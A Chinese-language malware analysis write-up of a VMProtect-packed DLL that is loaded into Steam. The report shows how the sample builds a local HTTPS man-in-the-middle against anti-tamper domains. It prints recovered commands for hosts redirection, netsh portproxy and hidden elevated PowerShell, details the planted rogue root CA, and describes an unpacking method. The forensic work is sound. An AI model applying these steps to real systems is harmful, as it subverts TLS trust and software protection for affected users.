<p>每个导入模块仅声明 1 个 API，其余 API 全部在运行时通过 <code>LoadLibraryExW + GetProcAddress</code> 解析。基于这 11 项声明，可反推 stage-2 的运行时行为面：</p><table><thead><tr><th> 导入 API </th><th> 推断用途 </th></tr></thead><tbody><tr><td> <code>LoadLibraryExW</code> </td><td> 引导阶段加载其余模块（WinHttp/Crypt32/Cert/Reg/…） </td></tr><tr><td> <code>WinHttpSendRequest</code> </td><td> HTTPS 出站至 C2 / 激活服务器 </td></tr><tr><td> <code>DnsQuery_W</code> </td><td> 主动 DNS 查询（绕过自行改写 hosts 之前的本地解析） </td></tr><tr><td> <code>WS2_32 #3 (bind)</code> </td><td> 监听本地端口（即 0.0.0.0:8443） </td></tr><tr><td> <code>BCryptGenRandom</code> </td><td> 加密安全随机数（TLS、密钥、nonce） </td></tr><tr><td> <code>CryptAcquireContextA</code> </td><td> 旧式 CryptoAPI 入口 </td></tr><tr><td> <code>CertSetCertificateContextProperty</code> </td><td> <strong>写入证书属性</strong>（绑定私钥、设置友好名等），与&quot;安装根证书 DCS Root CA G2&quot;的行为一致 </td></tr><tr><td> <code>SHGetKnownFolderPath</code> </td><td> 获取系统目录（用户配置、hosts、根证书库等） </td></tr><tr><td> <code>GetForegroundWindow</code> </td><td> 前台窗口检测（反沙箱 / 反调试 / 激活流程触发） </td></tr><tr><td> <strong><code>SymFromAddr</code> (dbghelp)</strong> </td><td> <strong>运行时按符号定位函数</strong>——输入地址，返回符号名 </td></tr><tr><td> <code>CoTaskMemFree</code> </td><td> 释放 <code>SHGetKnownFolderPath</code> 返回的宽字符串 </td></tr></tbody></table><p><code>CertSetCertificateContextProperty</code> 单一 API 即足以证实证书安装路径——该 API 用于设置 <code>CERT_KEY_PROV_INFO_PROP_ID</code>（绑定私钥）或 <code>CERT_FRIENDLY_NAME_PROP_ID</code>（设置友好名），是<strong>安装系统根证书的必经调用</strong>。结合内存 dump 中出现的 <code>DCS Root CA G2</code> 字符串与注册表最终落地的根证书指纹，本地 HTTPS 中间人栈的证书侧链路得以闭合。</p><p><code>SymFromAddr</code> 的存在尤其值得关注：该 API <strong>接受任意运行时地址、返回对应的符号名</strong>。stage-2 加载至 Steam 进程后，可通过 <code>SymFromAddr</code> 配合 Steam 官方 PDB 实施&quot;按符号定位&quot;的 hook 安装——无需硬编码任一 Steam 客户端版本的具体偏移。<strong>这是该样本能跨多个 Steam 客户端版本稳定工作的根本机制</strong>。</p><h3 id="94--3-">9.4 静态可见字符串仅 3 句</h3><p>stage-2 整个文件中静态可见的字符串仅有：</p><pre class=""><code class="">.data  +0x1a8: loadLib
.data  +0x1b8: hid.dll
utf-16:       kernel32.dll
</code></pre>
<p><code>netsh interface portproxy ...</code>、<code>hosts</code>、<code>DCS Root CA G2</code>、<code>CMsgGatewayHookRequest</code>、<code>GetDepotKey</code>、<code>force_proxy</code> 等行为类字符串<strong>在磁盘文件中均不存在</strong>——其全部由运行时解包/虚拟机解出。这一现象解释了前述 §2–§6 取证步骤必须依赖 <code>steam.dmp</code> 内存 dump 才能观察到证据的原因：单纯依赖静态字符串扫描无法捕获 stage-2 的任何具体行为。</p><h3 id="95-iat-on-disk--11--iat--0-">9.5 IAT 为诱饵：on-disk 代码对 11 个 IAT 槽 0 引用</h3><p>对 2.9 MB on-disk <code>.text</code> 节实施 4 种 x64 引用方式的全扫描，统计 11 个 IAT 槽（rva 0x8275b0–0x827600）的引用次数：</p><pre class=""><code class="">绝对 8 字节 VA 指针 → IAT 任一槽：          0 hits
ff 15 ?? ?? ?? ??  (call [rip+disp]):     0 hits
ff 25 ?? ?? ?? ??  (jmp  [rip+disp]):     0 hits
48 8b ?5 ?? ?? ?? ?? (mov rXX, [rip+disp]) 0 hits
4c 8b ?5 ?? ?? ?? ?? (mov r8-r15, ...)     0 hits
</code></pre>
<p><strong>全部 0 hits</strong>。脱离主流引用方式的特殊编码尚不能完全排除，但常规反汇编工具能识别的所有路径均不引用这 11 个 IAT 槽。Windows 加载器依然会按 PE 规范将其 fixup 至真实 API 地址，但磁盘上的指令流未使用这些地址。</p><p>该现象为 VMProtect 的标准伪装手法：<strong>真实 import 调用全部迁移至虚拟机/加密区，外层 IAT 仅作为 AV 静态扫描的诱饵保留</strong>。这 11 个 API 实质上仅是 VMProtect SDK 打包时配置的&quot;声明导入&quot;，作用是为壳的引导代码提供起步点（如 <code>LoadLibraryExW</code> 用于在运行时再加载其他模块）；真正承担业务逻辑的数十至上百个 API（<code>CreateProcessA</code>、<code>RegSetValueExW</code>、<code>CertAddCertificateContextToStore</code>、<code>send</code>、<code>recv</code> 等）均由 stage-2 运行后在 TLS callback 内自行解析。</p><h3 id="96-reloc--24-">9.6 <code>.reloc</code> 仅 24 条：几乎完全位置无关</h3><p>正常 ~8 MB ImageBase 的 PE 通常含有数千条 reloc。stage-2 仅含 24 条：</p><pre class=""><code class="">块 1: 0x564000 区，6 个 entry → 0x564250-0x564278 处 6 个 qword 指针
块 2: 0x568000 区，2 个 entry → 0x568d88, 0x568d90
块 3: 0x56b000 区，4 个 entry → 0x56b890-0x56b8a8 (TLS 目录的 4 个指针)
块 4: 0x7f3000 区，6 个 entry → 0x7f3c18-0x7f3ce0 (load_config 表)
块 5: 0x827000 区，6 个 entry → 0x827000+ (data 区静态指针)
</code></pre>
<p>解开块 1 后：</p><pre class=""><code class="">rva 0x564250 → abs 0x18080b3c0 (rva 0x80b3c0)   ★ 加密代码区
rva 0x564258 → abs 0x18080b3c0 (rva 0x80b3c0)   ★ 加密代码区（重复）
rva 0x564260 → abs 0x18080c0d0 (rva 0x80c0d0)
rva 0x564268 → abs 0x180805848 (rva 0x805848)
rva 0x564270 → abs 0x180805420 (rva 0x805420)
rva 0x564278 → abs 0x180804ee0 (rva 0x804ee0)
</code></pre>
<p>6 个目标 RVA（0x804ee0、0x805420、0x805848、0x80b3c0×2、0x80c0d0）<strong>全部</strong>落入主加密区（rva 0x56f000–0x7cf000）。该结构即 VMProtect 的 <strong>6-槽 handler 调度表</strong>——指向加密 handler 入口的指针表。</p><p>块 3 指向 TLS 目录的 4 个指针；块 4 指向 Load Config 表的 SEH/CFG 字段。24 条 reloc 整体表明：<strong>stage-2 设计为位置无关的镜像，仅壳的最小关键支架需要 fixup</strong>。</p><h3 id="97-">9.7 主加密区：所有标准解包算法均无命中</h3><p>对 file 0xc000–0x26c000（约 2.4 MB，熵 7.9–7.99）尝试下列解包算法：</p><table><thead><tr><th> 算法 </th><th> 结果 </th></tr></thead><tbody><tr><td> zlib (78 01/78 9c/78 da) header 扫描 </td><td> 0 hits </td></tr><tr><td> raw deflate（多种起点） </td><td> 0 hits </td></tr><tr><td> Python lzma 自动检测 </td><td> 0 hits </td></tr><tr><td> lzma raw（FILTER_LZMA1, dict 16MB） </td><td> 0 hits </td></tr><tr><td> Windows <code>RtlDecompressBuffer</code> LZNT1 </td><td> 0 hits </td></tr><tr><td> Windows <code>RtlDecompressBuffer</code> XPRESS </td><td> 0 hits </td></tr><tr><td> 单字节 XOR（0x01-0xff）+ 找 <code>MZ</code>/常见明文 </td><td> 0 hits </td></tr><tr><td> 6 种 API name hash（DJB2 / DJB2<em>lower / DJB2</em>upper / CRC32 / FNV-1a / ROR13_add）× 100+ 候选 API（涵盖 WinHttp / Schannel / BCrypt / Crypt32 / Cert / Reg / Shell / Process / File / Socket / Steam） </td><td> 0 hits </td></tr></tbody></table><p><code>MZ\x90\x00</code>、<code>netsh</code>、<code>hosts</code>、<code>DCS Root</code>、<code>codefusion</code>、<code>antitamper</code>、<code>CMsgGatewayHook</code>、<code>GetDepotKey</code>、<code>127.0.0.1</code> 等内存 dump 中可见的字符串，在磁盘镜像内均不可见。</p><p>加密层为 VMProtect 私有：使用 mutation engine 的 per-handler key schedule，对不同 handler 采用不同密钥加密，并将 key 嵌入加密代码自身（自解密结构）。<strong>该加密层在脱离运行时上下文的情况下无法批量解密</strong>。</p><h3 id="98--350-kb-vmprotect-dispatcher-">9.8 尾部 ~350 KB 低熵代码区：VMProtect dispatcher 而非用户代码</h3><p>stage-2 的 <code>.text</code> 节单值熵 7.93 仅为平均值——以 8KB 窗口、4KB 步进重新计算后，呈三段熵结构：</p><table><thead><tr><th> rva 范围 </th><th> 熵 </th><th> 性质 </th></tr></thead><tbody><tr><td> 0x563000-0x56f000 </td><td> 3.77-6.74 </td><td> bootstrap + 各种表（reloc / debug / PDB / CRT 节名表） </td></tr><tr><td> 0x56f000-0x7cf000 </td><td> 7.50-7.99 </td><td> ★主加密区★ 约 2.4 MB </td></tr><tr><td> 0x7cf000-0x826200 </td><td> 4.92-6.65 </td><td> 尾部低熵代码区 约 350 KB </td></tr></tbody></table><p>低熵尾部约 350 KB 未被加密，可直接反汇编，可识别 29 个完整的 MSVC 函数序言（<code>55 53 56 57 41 54 41 55 41 56 41 57 48</code>——push rbp/rbx/rsi/rdi/r12-r15 + sub rsp）。取一个函数样本：</p><pre class=""><code class="">==========  函数 @ rva 0x7f3fab  ==========
push    rbp ... push    r15
lea     rbp, [rax - 0x1b18]          ; 自定义 frame：以 rax 为 context base
mov     eax, 0x1bd8
call    0x1808251d8                  ; _chkstk (栈探针)
sub     rsp, rax
mov     r15, qword ptr [rbp + 0x1b58]
xor     r12d, r12d
mov     ebx, dword ptr [rbp + 0x1b48]
mov     r14, qword ptr [rbp + 0x1b40]
lea     eax, [r15 + 0x20000]
bsr     edi, eax                     ; bit scan reverse
... 大量 r8/r9 上下文操作 ...
call    0x180815b78
call    0x180825a78
</code></pre>
<p><code>lea rbp, [rax - 0x1b18]</code> 形式的 frame setup——将传入 <code>rax</code> 作为 context base、以大 frame offset 访问字段——是 <strong>VMProtect VM dispatcher / scratch context handler</strong> 的典型形态，并非用户业务代码。另一函数 @ rva 0x7f696f 为 strcmp/memcmp 风格循环，特征上更接近编译器生成的 runtime helper。</p><p><strong>结论</strong>：该 ~350 KB 代码区由 VMProtect VM dispatcher、handler 调度代码与 MSVC C/C++ runtime helpers 构成。<strong>用户业务代码并不位于此区域</strong>——真正的 <code>loadLib</code> 函数体（rva 0x2cb80，位于被 strip 的 .text 内）以及反篡改 hook 全部位于 rva 0x56f000–0x7cf000 的加密区。</p><p>这正是 VMProtect 的&quot;选择性保护&quot;设计：开发者仅虚拟化 <code>loadLib</code> 调用链上的关键函数，其余代码保持原生编译。AV/沙箱看到的&quot;半部分正常 MSVC 代码&quot;恰构成壳的伪装层——既不触发&quot;完全加壳&quot;启发式告警，又将真正的业务逻辑收纳至加密区内。</p><h3 id="99--tls-callback-">9.9 入口与 TLS callback 均跳转至解包区</h3><pre class=""><code class="">==========  TLS Callback  rva 0x565de0  ==========
0x180565de0: call    0x1808249d0     ; 目标在 .text 末段（低熵调度代码区）

==========  EntryPoint  rva 0x5667f0  ==========
0x1805667f0: call    0x1808213f0     ; 同样跳入调度代码区
</code></pre>
<p>stage-2 的运行序列如下：</p><pre class=""><code class="">stage-1 调用 MemoryLoadLibraryEx(buf, size)，将 stage-2 手动映射到 Steam 进程地址空间
↓
MemoryModule 内部按 Windows 加载器流程执行：reloc fixup → IAT 解析 → 调用 TLS callback → 调用 DllMain
↓
TLS callback @ rva 0x565de0 执行 → 进入 VMP 引导代码 → 将 raw=0 节解压/解密回内存
↓
EntryPoint @ rva 0x5667f0 执行 → 同样进入 VMP 引导（继续展开）
↓
MemoryLoadLibraryEx 返回，loadLib 此时已被解析至 rva 0x2cb80（原 raw=0 的第一个 .text 内）
↓
stage-1 通过 MemoryGetProcAddress(&quot;loadLib&quot;) 获取该地址
↓
stage-1 执行 call rax → loadLib 启动 → 业务逻辑开始
</code></pre>
<p>即 <strong>stage-2 的真实主体在 stage-1 的 <code>MemoryLoadLibraryEx</code> 返回之前已经完全展开到内存</strong>。任何试图从静态文件中提取完整 stage-2 行为面的尝试，在该架构下都无法成功。</p><p>该流程存在一项隐含的副作用：<strong>stage-2 的激活完全不依赖 stage-1 后续对 <code>loadLib</code> 的调用</strong>。即便 stage-1 因任何原因未能定位 <code>loadLib</code> 导出而提前 <code>ret</code>，stage-2 的 TLS callback 已在 <code>MemoryLoadLibrary</code> 内部被调度执行——而 stage-2 完全可在 TLS callback 内完成所有初始化工作（注册 hook、监听端口、改写 hosts、安装证书等），将 <code>loadLib</code> 仅作为&quot;占位导出&quot;以通过 stage-1 的退出检查。从攻击者视角，将核心初始化置于 TLS 较置于显式导出更隐蔽——AV 对导出表的静态扫描无法识别此类初始化路径。</p><h3 id="910-">9.10 静态分析能力边界图</h3><p>stage-2 镜像在静态可见性维度上的整体地形如下：</p><pre class=""><code class="">┌──────────────────────────────────────────────────────────────────────┐
│ stage-2 磁盘镜像 2.9 MB                                               │
│                                                                       │
│ rva 0x563000..0x56f000   bootstrap         熵 4-6   ✓ 可读            │
│   ├─ PDB 字符串 &quot;F:\入库内核\Steam\x64\Release\hid.pdb&quot;               │
│   ├─ MSVC 节名表 (.text$mn, .CRT$X*, .fptable, .rdata$voltmd)         │
│   ├─ TLS dir + Load Config dir                                        │
│   └─ rva 0x564250: 6-槽 VMProtect handler dispatch 表                 │
│                                                                       │
│ rva 0x56f000..0x7cf000   ★加密主体★          熵 7.9-7.99  ✗ 不可读   │
│   2.4 MB VMProtect 加密代码区                                         │
│   loadLib 函数体（rva 0x2cb80）位于此区域（被映射到 strip 掉的 .text）│
│                                                                       │
│ rva 0x7cf000..0x826200   清亮 VM 调度 + C runtime    熵 5-6.6  ✓ 可读 │
│   ~350 KB VMProtect runtime + MSVC C/C++ runtime helpers              │
│   TLS callback target 在这里                                          │
│   EntryPoint 跳板目标在这里                                           │
│                                                                       │
│ rva 0x827000..0x827800   小 .data                  ✓ 可读             │
│   IAT (11 个槽 — 诱饵)                                                │
│   TLS callbacks table                                                 │
│   strings: &quot;loadLib&quot;, &quot;hid.dll&quot;, L&quot;kernel32.dll&quot;                      │
│                                                                       │
│ rva 0x828000..0x828080   .reloc                    ✓ 可读 (24 条)     │
│ rva 0x829000..0x8290F8   .rsrc                     ✓ 可读 (空 manifest)│
└──────────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────────┐
│ 被 strip 的（运行时由壳填回）：                                       │
│ rva 0x001000..0x328000   .text + .rdata + .data (raw=0)               │
│   包含真正的 loadLib 函数体（rva 0x2cb80）                            │
│   包含 stage-2 全部静态数据：原始字符串、原始 IAT、C++ vtable         │
│ rva 0x3eb000..0x40d000   .pdata + .fptable + 第二段代码 (raw=0)       │
│ rva 0x550000..0x563000   第二段 .data (raw=0)                         │
└──────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>整段 <code>.text</code> 节熵约 <strong>7.93</strong>——非常接近 8.0 的上限，说明 PE 主体被加密/加壳，所以静态字符串中<strong>不会出现</strong> <code>netsh</code>、<code>portproxy</code>、<code>8443</code>、<code>cmd.exe</code> 等行为类符号。</p><h3 id="911---">9.11 静态分析可证 / 不可证矩阵</h3><p>下表按&quot;静态可证&quot;与&quot;静态不可证&quot;两类对本节得到的结论进行分类，可作为后续遇到 VMProtect/Themida 系样本时的取证参考模板：</p><table><thead><tr><th> 想知道的事 </th><th> 静态可证 </th><th> 凭据 / 备注 </th></tr></thead><tbody><tr><td> 是否为 VMProtect 包装 </td><td> ✓ 是 </td><td> 节布局 + <code>.fptable</code> + <code>.rdata$voltmd</code> + 24 条 reloc + IAT 全 0 引用 + SizeOfImage &gt; 磁盘 + WS2_32 ord #3 </td></tr><tr><td> 入口控制流的第一跳目标 </td><td> ✓ rva 0x5667f0 → <code>call 0x1808213f0</code> </td><td> §9.9 </td></tr><tr><td> TLS callback 位置 </td><td> ✓ rva 0x565de0 → <code>call 0x1808249d0</code> </td><td> §9.9 </td></tr><tr><td> 整体壳类型 </td><td> ✓ VMProtect 3.x &quot;选择性保护&quot;模式（VM dispatcher 位于外层，关键函数位于加密区） </td><td> §9.8 </td></tr><tr><td> 作者项目名 </td><td> ✓ &quot;入库内核&quot; </td><td> PDB 路径 </td></tr><tr><td> TLS callback 是否每次执行 </td><td> ✓ 是 </td><td> MemoryLoadLibrary 内部按 Windows 加载器流程主动调用 TLS callback，§9.9 </td></tr><tr><td> 真实的 import 调用位置 </td><td> ✗ 全部位于加密区，磁盘 IAT 为诱饵 </td><td> §9.5 </td></tr><tr><td> stage-2 出站 HTTPS 的目标域 </td><td> ✗ 字符串位于加密区 </td><td> hosts + 根证书 + 内存 dump 已闭环至 <code>*.codefusion.technology</code> / <code>*.antitamper.net</code>（§11） </td></tr><tr><td> 8443 端口上的协议格式 </td><td> ✗ 完整定义位于加密区 </td><td> 内存 dump 中可见 <code>CMsgGatewayHook</code> / <code>CMsgCdkActiveResponse</code> 等字段（§10） </td></tr><tr><td> Steam 内被 hook 的具体函数 </td><td> ✗ Hook 安装代码位于加密区 </td><td> <code>SymFromAddr</code> 导入 + 内存中 <code>GetDepotKey / GetTicket / ManifestAuth</code> 字段已界定范围（§10） </td></tr><tr><td> 安装的根证书具体属性 </td><td> ✗ <code>CertSetCertificateContextProperty</code> 调用位于加密区 </td><td> 注册表中可直接观察 <code>DCS Root CA G2</code>（§11） </td></tr></tbody></table><p>综上：<strong>所有涉及&quot;安装内容 / 系统改动 / 通信对端&quot;的系统级行为问题，静态分析均无法直接给出结论，但全部可通过运行时痕迹（hosts、portproxy、注册表证书、Steam 进程 dump 中的字符串）反向闭环</strong>。这一性质决定了取证顺序——前述 §2–§6 必须先采集 dump、再检查系统状态、最后回到磁盘文件。若按&quot;先静态后动态&quot;的顺序进行，分析将止步于 VMProtect 的加密区；按&quot;先动态后静态&quot;则磁盘 PE 仅用于印证 dump 中已捕获的事实，每步结论均有运行时证据支撑。下节为这些反向闭环的具体证据。</p>
<h2 id="10--dump-">10. 内存 dump 验证：行为字符串在运行时全部展开</h2><p>返回 §2 采集的两份 dump 进行关键字检索，可观察到大量在运行时被解密/解包还原的字符串——这印证了 §2 &quot;先抓 dump 再做后续分析&quot; 的取证顺序的必要性：</p><pre class=""><code class="">netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=443
  listenaddress=127.0.0.1 connectport=%d connectaddress=127.0.0.1
cmd.exe /c
powershell -WindowStyle Hidden -Command
Start-Process -FilePath ... -Verb RunAs
C:\Windows\System32\drivers\etc\hosts
# Network optimization configuration
ROOT
Digital Certificate Services Root CA
DCS Root CA G2
</code></pre>
<p>同区域可扫描到一组 Steam/Steamworks 内部协议字段：</p><pre class=""><code class="">CMsgGatewayHookRequest / CMsgGatewayHookResponse
CMsgCdkActiveResponse
GetDepotKey / GetTicket / GetEncryptTicket
ManifestAuth
force_proxy / use_https
</code></pre>
<p><code>GatewayHook</code>、<code>DepotKey</code>、<code>Ticket</code>、<code>ManifestAuth</code>、<code>CdkActive</code> 等符号均对应 Steam 鉴权流程的关键节点。stage-2 的关注面由此可初步定性为 <strong>Steam 鉴权流程的协议级伪造</strong>。</p><h2 id="11-hosts---mitm-">11. hosts + 根证书：本地透明 MITM 栈的闭合验证</h2><pre class="language-powershell lang-powershell"><code class="language-powershell lang-powershell">Get-Content &quot;C:\Windows\System32\drivers\etc\hosts&quot; |
  Select-String &#x27;Network optimization|codefusion|antitamper|steam|127.0.0.1&#x27;
</code></pre>
<pre class=""><code class=""># Network optimization configuration
127.0.0.1 srv01.codefusion.technology
127.0.0.1 srv02.codefusion.technology
127.0.0.1 srv03.codefusion.technology
127.0.0.1 srv01.antitamper.net
127.0.0.1 srv02.antitamper.net
127.0.0.1 srv03.antitamper.net
</code></pre>
<p><code>codefusion.technology</code> 经公开查询确认归属为 Codefusion / Denuvo 反篡改服务。继续检查根证书库：</p><pre class="language-powershell lang-powershell"><code class="language-powershell lang-powershell">Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
  Where-Object { $_.Subject -match &#x27;DCS|Digital Certificate Services|Root CA G2&#x27; }
</code></pre>
<pre class=""><code class="">Subject:    CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Issuer:     CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Thumbprint: 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F
有效期:     2025-11-14 ~ 2035-11-12（10 年）
</code></pre>
<p>该证书不属于任何公开 CA 体系，为自签 Root 且已被植入系统受信任根存储。</p><p>将三类证据组合后：</p><pre class=""><code class="">hosts:        Denuvo/Codefusion 域名 → 127.0.0.1
portproxy:    127.0.0.1:443 → 127.0.0.1:8443
监听端:       Steam.exe 进程内（stage-2 镜像）占用 8443
根证书:        DCS Root CA G2 自签根，可签任意域名
</code></pre>
<p>至此本地透明 HTTPS 中间人 / 伪服务器栈的完整链路已闭合：发往上述反篡改域名的 HTTPS 请求被劫持至 Steam 进程内的伪服务端，证书校验由 DCS 根 CA 签发的伪叶证书承接。</p><h2 id="12-">12. 动态脱壳后的回头闭环分析</h2><p>§9 的结论确认：VMProtect 将关键业务逻辑收纳至 0x56f000–0x7cf000 段 2.4 MB 加密区，磁盘静态扫描无法获取任何行为字符串，IAT 为诱饵，所有标准解包尝试失败。然而 stage-1 已将 stage-2 手动映射至 Steam 进程并执行了 TLS callback——<strong>只要在受控环境运行一次，该 2.4 MB 加密区必然在内存中展开为明文</strong>。基于此事实，可采取如下脱壳路径：在 stage-1 的 <code>call rax</code>（调用 stage-2 <code>loadLib</code>）之前插入死循环断点中断执行，从外部 dump Steam 进程的对应内存区域即可得到完整的脱壳后 stage-2 镜像。</p><blockquote><p>本节的工作目标为闭合 §9.11 表格中所有标记 ✗ 的项目——前述靠 dump 字符串与系统证据反向闭环的事实，在脱壳后的二进制中可被直接读出调用、结构、嵌入资产等具体证据。</p></blockquote>
<h3 id="121-">12.1 脱壳镜像的采集</h3><p>实施步骤：对 stage-1（<code>xinput1_4.dll</code>）施加单字节补丁——在 <code>0x180001510: call rax</code> 指令前插入 <code>EB FE</code>（<code>jmp $</code>）死循环（补丁后的 DLL 命名为 <code>xinput1_4_patched_infloop.dll</code>，大小 14848 bytes）。Steam 启动后整个加载链按原路径执行：</p><pre class=""><code class="">Steam → 加载 patched xinput1_4.dll → DllMain → sub_1170
  → 读 localData.vdf → XOR 0xFF 解码
  → MemoryLoadLibraryEx(buf, size)
        ├─ reloc fixup
        ├─ IAT 解析（11 个槽，所有真实 API 解析在 TLS 里）
        ├─ TLS callback @ rva 0x565de0 → VMP 引导跑完，加密区已展开
        ├─ EntryPoint @ rva 0x5667f0 → 同样进 VMP 引导
        └─ 返回 mod
  → MemoryGetProcAddress(mod, &quot;loadLib&quot;) → rax = stage-2 内 0x2cb80
  → jmp $       ← 卡在这里
</code></pre>
<p>注入线程卡在 <code>jmp $</code> 死循环上；Steam 进程的其余部分继续运行（<code>DisableThreadLibraryCalls</code> 已抑制再次的 DLL_THREAD 回调）。此时从外部进程附加 dumper，将完整 8 MB 镜像写出磁盘，得到：</p><pre class=""><code class="">re/stage2_unpacked.bin
  大小:    8,560,640 bytes (8.16 MB，对应 SizeOfImage 0x82A000)
  SHA256: 8911004DF9FA21350E085CBCAEFAA1A18E2E0DADFEDDF2E22E76EC55E4CEFCEC
</code></pre>
<p>该镜像为 stage-2 的完整运行时快照——§9.10 图中被 strip 的所有 raw=0 节（含 <code>loadLib</code> 函数体的第一个 <code>.text</code>、原始字符串区、C++ vtable、第二段 <code>.pdata</code> 等）均已被壳还原。</p><h3 id="122-dump-">12.2 字符串提取：dump 中全部字符串均出现，且包含大量新增条目</h3><p>对脱壳镜像执行字符串提取（脚本 <code>re/31_extract_strings.py</code>），输出约 1.5 MB（<code>re/strings_dump.txt</code>）。§9.4 中磁盘静态可见仅 3 句字符串、§10 在 Steam 进程 dump 中可见的行为类字符串——在脱壳镜像中<strong>全部出现</strong>，并新增此前未观察到的若干批次：</p><pre class=""><code class=""># §10 已观察到的（行为类）
netsh interface portproxy add v4tov4 listenport=443 ...
cmd.exe /c
C:\Windows\System32\drivers\etc\hosts
DCS Root CA G2
Digital Certificate Services Root CA
CMsgGatewayHookRequest / CMsgGatewayHookResponse
GetDepotKey / GetTicket / ManifestAuth
force_proxy / use_https

# §9 / §10 中均未观察到（新增）
srv01-03.codefusion.technology     ← C2 域名明文（此前仅在 hosts 中可见，现已存在于二进制内）
srv01-03.antitamper.net
CertOpenStore / CertCloseStore
CertCreateCertificateContext / CertFindCertificateInStore
CertFreeCertificateContext / CertAddCertificateContextToStore
CertSetCertificateContextProperty    ← 整套 Crypt32 cert 操作 API 名以字符串形式存在，运行时按名 GetProcAddress
-----BEGIN CERTIFICATE-----          ← PEM 标记
-----BEGIN RSA PRIVATE KEY-----      ← PEM 私钥标记
\.steam_restart_flag                 ← 部署完成后用于触发 Steam 重启的标记文件
</code></pre>
<p><code>Cert*</code> API 名以<strong>字符串</strong>形式出现，证实这些 API 不存在于静态 IAT 中——它们均由 stage-2 在 TLS 引导阶段通过 <code>LoadLibraryExW(&quot;crypt32.dll&quot;)</code> + 私有实现的 <code>GetProcAddressByName</code> 完成解析。这一观察解释了 §9.3 中静态 IAT 只含 1 个 <code>CertSetCertificateContextProperty</code> 的反常现象——其余 7 个 <code>Cert*</code> API 均为运行时解析，<strong>整个证书安装逻辑完全不依赖磁盘 IAT</strong>。</p><h3 id="123-3--1--rsa-">12.3 嵌入资产：3 张证书与 1 把匹配的 RSA 私钥</h3><p>依据 PEM 标记追踪嵌入资产。脚本 <code>re/34_extract_certs.py</code> 在脱壳镜像中按 <code>BEGIN/END</code> 配对块提取，得到下列资产：</p><table><thead><tr><th> 文件偏移 </th><th> 类型 </th><th> 内容 </th></tr></thead><tbody><tr><td> 0x35cb80 </td><td> DH 参数 </td><td> TLS 用 DH 群参数 </td></tr><tr><td> 0x36fae0 </td><td> <strong>叶证书</strong> </td><td> CN=<code>srv01.codefusion.technology</code>, O=<code>CodeFusion Technology LLC</code>, C=US；由 DCS Root CA G2 签发；2025-11-13 ~ 2035-11-11 </td></tr><tr><td> 0x37012e </td><td> <strong>自签根 CA</strong>（副本 1） </td><td> CN=<code>DCS Root CA G2</code>, O=<code>Digital Certificate Services</code>, C=US；2025-11-13 ~ 2035-11-11 </td></tr><tr><td> 0x370610 </td><td> <strong>RSA 2048 私钥</strong> </td><td> PEM 格式，2048 bit </td></tr><tr><td> 0x370d30 </td><td> 自签根 CA（副本 2） </td><td> 与副本 1 字节级一致（SHA256 均为 <code>77FD7C44…</code>） </td></tr></tbody></table><p>证书指纹（脱壳取出的 DER）：</p><pre class=""><code class="">叶证书   SHA256: 19B7FC43963DD116AC8CA280CA0DCDDD758D414D313F2EEA5D2630B68A40CA79
根 CA    SHA256: 77FD7C44B8973F12D145D02BCF91FE03C85F93FA9B72988CE70E8D7F16F35B35
</code></pre>
<p>注：§11 在系统注册表中观察到的根证书 Thumbprint 为 SHA1 <code>2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F</code>，此处为 DER 文件的 SHA256 <code>77FD7C44…</code>，二者为同一证书的不同摘要算法（Thumbprint 即 Windows 使用的 SHA1）。</p><p>关键验证：将叶证书的 pubkey MD5 与 PEM 私钥的 pubkey MD5 比对：</p><pre class=""><code class="">叶证书 pubkey  md5: 928e386311c6148e727c543ce099c875
PEM 私钥 pubkey md5: 928e386311c6148e727c543ce099c875   ← 完全一致
</code></pre>
<p><strong>该 PEM 私钥与叶证书构成密钥对</strong>。即样本同时携带&quot;伪 CA 的根证书&quot;与&quot;叶证书及其匹配私钥&quot;——本地伪服务端不需任何在线签发，可直接使用该证书+私钥在 8443 端以 <code>srv01.codefusion.technology</code> 身份与 Steam 完成 TLS 握手；根 CA 被植入系统受信任根后，Steam 看到的证书链合法。<strong>整套 MITM 凭据完全离线自包含</strong>。</p><h3 id="124-6--sni-">12.4 6 槽 SNI 服务器档案表</h3><p>通过脚本 <code>re/35_cert_xrefs.py</code> 扫描脱壳镜像内所有指向叶证书 PEM (<code>0x36fae0</code>) 和 RSA 私钥 PEM (<code>0x370610</code>) 的 QWORD 指针，在 <code>0x372260</code> 起的数据区命中 6 条结构相同的条目（stride 0x18），结构推断如下：</p><pre class=""><code class="">struct ServerProfile {
    char *pem_cert;     // +0x00 -&gt; 0x18036fae0 (leaf cert PEM)
    char *pem_key;      // +0x08 -&gt; 0x180370610 (RSA private key PEM)
    void *slot;         // +0x10 (per-slot 上下文)
};
ServerProfile servers[6] = { ... };   // 6 个条目
</code></pre>
<p>6 条均指向同一对叶证书+私钥——与 §11 在 hosts 中观察到的 6 个域名（<code>srv01-03.codefusion.technology</code> + <code>srv01-03.antitamper.net</code>）数量一致。即这 6 个 C2 域名在本地伪服务端采用<strong>同一对凭据多 SNI 复用</strong>架构：客户端无论解析至哪一域名，均由同一叶证书的 TLS 握手承接。</p><h3 id="125-">12.5 证书安装的调用链</h3><p>§8–§9 遗留的未解问题是 <code>CertSetCertificateContextProperty</code> 的实际调用路径未定位。脱壳镜像中该调用链可被完整还原（脚本 <code>re/36_disasm_cert_install.py</code>）：</p><p><strong><code>sub_23200</code>（根 CA 安装主体）</strong> —— 反汇编结果：</p><pre class=""><code class="">0x2320c: lea rax, [(u16) &quot;ROOT&quot;]              ; 目标 store 名（LocalMachine\Root）
0x23269: lea rcx, [&quot;-----BEGIN CERTIFICATE-----&quot;]    ; 第一份根 CA PEM 拷贝
0x232dc: call sub_31b870                       ; PEM → DER 解码（CryptStringToBinaryA）
0x2349a/0x234d5/0x2351b: 再以第二份根 CA PEM 拷贝重复执行（双保险/重试机制）
0x23583: lea rdx, [(u16) &quot;Digital Certificate Services Root CA&quot;]
0x2358e: call sub_407e0                        ; CertFindCertificateInStore 按 CN 查重
</code></pre>
